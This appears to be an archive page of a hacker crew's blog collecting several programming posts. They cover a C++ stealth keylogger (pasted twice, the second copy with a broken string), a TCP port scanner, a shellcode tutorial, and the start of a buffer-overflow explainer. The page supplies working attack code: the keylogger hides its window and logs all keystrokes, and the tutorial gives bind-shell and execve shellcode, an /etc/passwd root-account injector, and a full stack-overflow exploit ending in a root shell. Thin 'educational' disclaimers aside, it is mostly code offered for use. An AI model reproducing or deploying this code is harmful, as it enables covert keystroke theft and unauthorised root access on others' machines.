Loading
Showing posts with label PROGRAMING. Show all posts
Showing posts with label PROGRAMING. Show all posts

Monday, March 1, 2010

C++ keylogger part two

This keylogger will save a log of the keys that are pressed on your HD.

Note: This tutorial is for educational purpose only.
Only put the keylogger on a computer where you got permission for.
Code:

#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include //
int Save (int key_stroke, char *file);
void Stealth(); //This will be used to let the program run in stealth.
int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i'.

while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute(infinite loop).
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we defined it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file) // Here we make our save function that we defined before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include //


int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "
");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAFKAN ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, ucrit_penyu, wendys182, cybermuttaqin
~ k3nz0, thomas_ipt2007, blackpaper, nakuragen, candra
~ whitehat, wenkhairu, Agoes_doubleb, diki, lumajangcrew a.k.a adwisatya a.k.a xyberbreaker, wahyu_antijasakom
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
~ All members of whitecyber
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom, #whitecyber
[Read More...]

Monday, January 25, 2010

simple C++ port scanner

This program takes an input and output file

input.txt => IP Addresses you wish to connect to
output.txt => Results of the scan

Run the program enter a starting port and ending port, have fun

Code:


#include
#include
#include
#include
#include
#include
using namespace std;

SOCKET sock;
ofstream outfile;

bool ConnectToHost(int PortNo, char* IPAddress) {

WSADATA wsadata;

int error = WSAStartup(0x0202, &wsadata);

if (error) {
return false;
}

if (wsadata.wVersion != 0x0202) {
WSACleanup();
return false;
}

SOCKADDR_IN target;

target.sin_family = AF_INET;
target.sin_port = htons (PortNo);
target.sin_addr.s_addr = inet_addr (IPAddress);

sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); // create socket
if (sock == INVALID_SOCKET)
{
return false; // could not create the socket
}


if (connect(sock, (SOCKADDR *)&target, sizeof(target)) == SOCKET_ERROR)
{
cout << "false " << endl;
outfile << "false " << endl;
return false; //couldn't connect
}
else {
cout << "true " << endl;
outfile << "true " << endl;
return true; // success
}
}

void CloseConnection () {
if (sock)
closesocket(sock);

WSACleanup();
}



char *convertStringToChar(const string &str)
{
char *retPtr(new char[str.length() + 1]);

copy(str.begin(), str.end(), retPtr);
retPtr[str.length()] = '\0';

return retPtr;
}


int main()
{
string line;
int myport1;
int myport2;
int i;
cout << "\n\n";
cout << "Enter the starting PORT You wish to attempt a connection on, example: \t 21 \n" << endl;
cin >> myport1;
cout << "Enter the Ending PORT You wish to attempt a connection on, example: \t 25 \n" << endl;
cin >> myport2;
outfile.open("outfile.txt");
ifstream myfile("input.txt");
if (myfile.is_open())
{
while (!myfile.eof())
{
getline(myfile, line);
for (i = myport1; i <= myport2; i++)
{
ConnectToHost(i, convertStringToChar(line));
cout << i << " \t " << line << endl;
outfile << i << "\t" << line << endl;

}

}
myfile.close();
outfile.close();
}
else cout << "Unable to open file input.txt\n\n";
system("PAUSE");
return EXIT_SUCCESS;
}


--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAFKAN ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, ucrit_penyu, wendys182, cybermuttaqin
~ k3nz0, thomas_ipt2007, blackpaper, nakuragen, candra
~ whitehat, wenkhairu, Agoes_doubleb, diki, lumajangcrew a.k.a adwisatya a.k.a xyberbreaker, wahyu_antijasakom
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
~ All members of whitecyber
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom, #whitecyber

[Read More...]

Monday, November 30, 2009

How Shellcodes Work

It's not an easy task to find a vulnerable service and find an exploit for it. It's also not easy to defend against users who might want to exploit your system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpick, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide on developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developers and system administrators to understand how malefactors think and to defend their systems against them.
How an Exploit Works

Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most unintelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; something like this:

char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\ x5b\ x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\ xa4\ xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\ x8f\ x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\ x67\ x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\ x67\ x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\ xc8\ xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\ x67" ;

This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine commands, the same as are in an executable file. This example shellcode opens port 4444 on a local Linux box and ties a Bourne shell to it with root privileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this shellcode work.

Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example: the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after that, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty simple.

As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit); however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and operating system. This is why understanding how it works can help prevent intrusions into your environment.
What Is It For?

To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor. Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm), ndisasm, and hexdump. Most Linux distributions include these by default.
The Process of Building

Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same code in assembly. This is C code for appending a user into /etc/passwd:

#include
#include

main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}

All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writing and appends the new data to the end of the file.

Here is a more usable example: executing a Bourne shell:

#include

main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}

The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[] envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file, argv[] is an array of arguments, and envp[] is an array of strings in the format key=value. Both arrays must end with a NULL element.

Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system interrupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a similar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to write a simple working application. The /etc/passwd amendment application code in assembly is:

section .data
filename db '/etc/passwd', 0
line db 'hacker:x:0:0::/:/bin/sh',0x0a

section .text
global _start

_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax

; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80

; close(f_open)
mov eax, 6
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80

It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code segment containing code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segments. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and line, consisting of a set of bytes (see the db mark in the definition).

The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start label.

The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the function. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beginning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings demand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. After completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way.



Running a Root Bourne Shell from Shellcode

That was fun. Now it's time to translate the second program into assembly; one that executes setreuid() and execve() to run a root shell:

section .data
name db '/bin/sh', 0

section .text
global _start

_start:
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80

; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
mov ebx, name
push 0
push name
mov ecx, esp
mov edx, 0
int 0x80

Most of this code is similar to the previous example except for the execve() function call. The same program segments are there, and the same execution method works for setreuid(). The second parameter of execve() is an array of two elements. It is reasonable to pass this through the stack, which first needs a zero value (push 0), and then an address for the variable name (push name). This is a stack, so remember to push parameters in reverse order--LIFO, or "last in, first out." When the system call pulls its parameters out, the first will be the name variable address, and then a zero value. A function must also know where to find its parameters. For that, this code uses the enhanced stack pointer (ESP) register, which always points to the top of the stack. The only other work is to copy the contents of the ESP register to ECX, which will be used as a second parameter when calling the 0x80 interrupt.
Eliminating Data Segments

That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.

The next step is to get rid of the data segment. There exists a special technique of moving a data segment into a code segment by using the jmp and call assembly instructions. Both instructions make a jump to a specified place in the code, but the call operation also puts a return address onto the stack. This is necessary for returning to the same place after the called function successfully executes to continue the program's execution. Consider the code:

jmp two
one:
pop ebx

[application code]

two:
call one
db 'string'

At the beginning, the program execution jumps to a two label, attached to a call to the procedure one. There is no such procedure, in fact; however, there is another label with this name, which obtains control. At the moment of this call, the stack receives a return address: the address of the next instruction after call. In this code, the address is that of a byte string: db 'string'. This means that when the instructions located after one label execute, the stack already contains the address of a string. The only thing left to do is to retrieve this string and use it appropriately. Here's that trick in a modified version of the second example, named shell.asm:

BITS 32
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
jmp two

one:
pop ebx

; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
push 0
push ebx
mov ecx, esp
mov edx, 0
int 0x80

two:
call one

db '/bin/sh', 0

As you can see, there are no more segments at all now. The string /bin/sh, which was previously in a data segment, now comes off of the stack and goes into the EBX register. (The code also has a new directive, BITS 32, which enables 32-bit processor optimization.)



Works Now

Compile the program with nasm:

$ nasm shell.asm

And dump its code with hexdump:

$ hexdump -C shell

Figure 1 shows a typical shellcode. The next step is to convert it into a better format by preceding each byte with \x, and then putting all of the code into a byte array. Now check that it works:

char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\ x00\ x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\ x00\ x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\ xe8\ xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";

main() {
int (*shell)();
(int)shell = code;
shell();
}

Try to compile and run it:

$ gcc -o shellApp
$ ./shellApp

It works!
Not Yet Working: Eliminating NULL Bytes

Now the shellcode does not use the data segment and even works inside of a C tester program, but it still will not work inside a real exploit. The reason are the numerous NULL bytes (\x00). Most buffer overflow errors are related to C stdlib string functions: strcpy(), sprintf(), strcat(), and so on. All of these functions use the NULL symbol to indicate the end of a string. Therefore, a function will not read shellcode after the first occurring NULL byte.

Thus, the next task is to get rid of all null bytes in the shellcode. The idea is simple: find pieces of code that cause null bytes to appear and change them. A mature developer, in most cases, can say why machine code contains zeroes, but it's easy to use a disassembler to identify such instructions:

$ nasm shell.asm
$ ndisasm -b32 shell
00000000 B846000000 mov eax,0x46
00000005 BB00000000 mov ebx,0x0
0000000A B900000000 mov ecx,0x0
0000000F CD80 int 0x80
...

Executing this command will give the disassembled code of a program. It will contain three columns. The first column contains the instruction's address in hexadecimal form. It is not very important. The second column contains machine instructions, the same as shown with hexdump. The third column contains an assembly equivalent. This column will give you an idea which instructions contain null bytes in a shellcode.

After a brief review of a dump contents, it becomes evident that most null bytes come from instructions that manage the contents of registers and the stack. This is no surprise; this code works in a 32-bit mode, so the computer allocates a four-byte memory space for each numeric value. Yet the code uses only values for which one byte is enough. For example, the beginning of the program has the instruction mov eax, 70 to put the value 70 into the EAX register. In the shellcode, this instruction looks like B8 46 00 00 00. B8 is the machine code of the instruction mov ax, and 46 00 00 00 is the value 70 in hexadecimal notation, padded with zeroes to the size of four bytes. Many null bytes appear for similar reasons.

The solution for this problem is very simple. It's enough to remember that 32-bit registers (EAX, EBX, and other registers whose names begin with "E," for "enhanced") can be represented by 8-bit and 16-bit registers. It's enough to use a 16-bit register AX instead and even its low and high parts, AL and AH, which are one-byte registers. Just replace the instruction mov eax, 70 with mov al, 70 in all such places.

It's important to be sure that the rest of the EAX register space does not contain any garbage; that is, the code must put a zero value into EAX without using any null bytes. The fastest and most effective way of doing this is with the XOR logical function: xor eax,eax will give the EAX register a zero value.

Even after these modifications, the shellcode still contains zero bytes. The debugger shows that now the jmp instruction causes trouble:

E91500 jmp 0x29 0000 add [bx+si],al

The trick is to use a short jump instruction instead of the usual jmp short. In short programs with simple structure these instructions work in absolutely the same way, and the machine code in this case will not contain zero bytes.

You may now think that this shellcode is ideal, but at the end there is still one remaining zero byte. This zero byte occurs because the string bin/sh has a null byte indicating the end of the string. This is a definite requirement, because otherwise execve() will not work properly. You cannot just remove this byte. You can use one more assembler trick: at the compiling and binding stage, store any other symbol instead of zero, and convert it into zero while processing the program:

jmp short stuff

code:
pop esi
; address of string
; now in ESI

xor eax,eax
; put zero into EAX

mov byte [esi + 17],al
; count 18 symbols (index starts from zero)
; and putting a zero value there (EAX register equals to zero)
; The string will become This is my string0

stuff:
call code

db 'This is my string#'

After using this trick, the shellcode will contain no null bytes:

BITS 32

;setreuid(0, 0)
xor eax,eax
mov al, 70
xor ebx,ebx
xor ecx,ecx
int 0x80

jmp short two

one:
pop ebx

; execve("/bin/sh",["/bin/sh", NULL], NULL)
xor eax,eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
mov al,11
xor edx,edx
int 0x80

two:
call one
db '/bin/sh#'

After compiling this code, you can now see that it no longer contains null bytes. It's worth mentioning that the problem may arise not only because of null bytes, but because of other special symbols; for example, the end-of-line symbols, in some cases.



How It Works in Exploit

A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:

void sum(int a,int b) {
int c = a + b;
}

The stack inside of sum() will look like this:

b
a


c

The computer saves the contents of the EBP register to a stack before calling the sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what a and b are, the result cannot overflow c into the EBP contents on the stack and the return address. If c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:

#include


void sum(int a,int b) {
int c = a + b;
}

void bad_copy_string(char *s)
{
char local[1024];
strcpy(local,s);
printf("string is %s\n",local);
}

int main(int argc, char *argv[])
{
sum(1,2);
bad_copy_string(argv[1]);
}

The function copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.

Compile this victim code and run it:

% gcc -o overflow overflow.c
% ./overflow 'All seems fine'
string is All seems fine

Everything seems indeed right, but call it with a parameter longer than 1024 characters:

% ./overflow `perl -e 'print "a" x 2000'`
string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
bash: segmentation fault (core dumped) ./overflow `perl -e 'print "a" x 2000'`

The Perl script above generates a string of 2000 a symbols. Now run the core file through gdb:

% gdb ./overflow core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux".
Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()

The segmentation fault happened at the address 0x61616161--which is the string aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now? gdb knows:

(gdb) info register esp
esp 0xbffff334 0xbffff334

Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:

#include

static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\ x89\ x46\x0c\xb0\x0b\x89\"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\ xff\ xff/bin/sh#";

#define NOP 0x90
#define LEN 1024+8
#define RET 0xbffff334

int main()
{
char buffer[LEN]; int i;

/* first fill up the buffer with NOPs */
for (i=0;i < LEN;i++)
buffer[i] = NOP;

/* and then the shellcode */
memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));

/* and finally the address to return to */
*(int*)(&buffer[LEN-4]) = RET;

/* run program with buffer as parameter */
execlp("./overflow","./overflow",buffer,NULL);

return 0;
}

The shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:

% gcc -o exploit exploit.c
% ./exploit
string is

Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a SUID root program, then you would now have a root shell. Try that:

% chmod +s overflow
% su
# chown root overflow
# exit
% ./exploit
string is
sh# whoami
root

That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects stdin and stdout to it before calling execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct telnet or nc at the machine and port to get a root shell.
Conclusion

In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.



--------------------------------------

oO0::::: Greetz and Thanks: :::::0Oo.
Tuhan YME
My Parents
SPYRO_KiD
K-159
lirva32

And Also My LuvLy :
..::.E.Z.R (The deepest Love I'v ever had..).::..

in memorial :
1. Monique (terima kasih atas semua kenangan terindah yang pernah kau berikan)
MAAF ATAS SEMUA DOSA DAN SALAHKU
2. Dewi S.
3. W. Devi Amelia
4. S. Anna

oO0:::A hearthy handshake to: :::0Oo
~ Crack SKY Staff
~ Echo staff
~ antijasakom staff
~ jatimcrew staff
~ whitecyber staff
~ lumajangcrew staff
~ unix_dbuger, boys_rvn1609, jaqk, byz9991, bius, g4pt3k, anharku, wandi, 5yn_4ck, kiddies, bom2
~ arthemist, opt1lc, m_beben, gitulaw, luvrie, poniman_coy, ThePuzci, x-ace, newbie_z, petunia, jomblo.k, hourexs_paloer, cupucyber, kucinghitam, black_samuraixxx, ucrit_penyu, wendys182, cybermuttaqin
~ All people in SMAN 3
~ All members of spyrozone
~ All members of echo
~ All members of newhack
~ All members of jatimcrew
~ All members of Anti-Jasakom
#e-c-h-o, #K-elektronik, #newhack, #Solohackerlink, #YF, #defacer, #manadocoding, #jatimcrew, #antijasakom
[Read More...]

Buffer overflow explained

Programmers always need to be careful when writing applications for the security of their software. Every application is vulnerable in some form, and code is always looked over. Buffer overflows are one of the most popular attacks on any application, due to the increased chance of this vulnerability being overlooked in the author's code. Along with being popular, buffer overflow attacks are very dangerous in a system security aspect. Attackers exploiting the vulnerability can execute arbitrary code aimed to gain root privileges to the system.

Buffers, also called arrays in C/C++, are contiguous blocks of memory for storing a specific data type. An example of a buffer is shown here:

CODE:
char buffer[512];


A storage type of char is assigned to the newly declared array called referred to as buffer, now has 512 bytes of allocated storage space. However, there is an issue that can arise when a buffer reaches and leaps over it's specified storage limit unchecked. This problem is what we call a buffer overflow, when blocks of memory are overwritten as a result of passing space limits. In a *nix environment, as a buffer overflow occurs we are confronted with something known as a segmentation fault, segfault for short. Segmentation faults occur when an application tries to overwrite system memory in an incorrect fashion, possibly to locations that are read-only. On a Windows OS, these errors are displayed differently with a STATUS_ACCESS_VIOLATION exception.

The most important thing to remember about buffer overflow vulnerabilities are that when successfully exploited followed by the spawn of a shell, the shell can only take the permission level of the application that was exploited. Basically, the only way to obtain root authentication on a system through a buffer overflow vulnerability is if the application being exploited is run by the root account, such as a system service. The main part to exploiting a buffer overflow vulnerability successfully is the code to be executed, also known as shellcode, or opcode. Opcodes, short for operation codes, are specific instructions to the processor, usually in machine code format. For simplicities' sake, I will not be showing you how to create your own shellcode from scratch, at least not in this specific article. I will be using sample shellcode provided by milw0rm for a simple shell spawn.

Machine code is system dependent, meaning that this shellcode is only designed to work with *nix x86 environments. If the provided shellcode doesn't work for you, take a look around on milw0rm, or any site that provides shellcode matching your system architecture.

CODE:
\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x 69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80


The 22 byte shellcode presented is a set of instructions to execute a shell on the system. As said before, the shell that is spawned only gains the permissions that the application is currently running on.

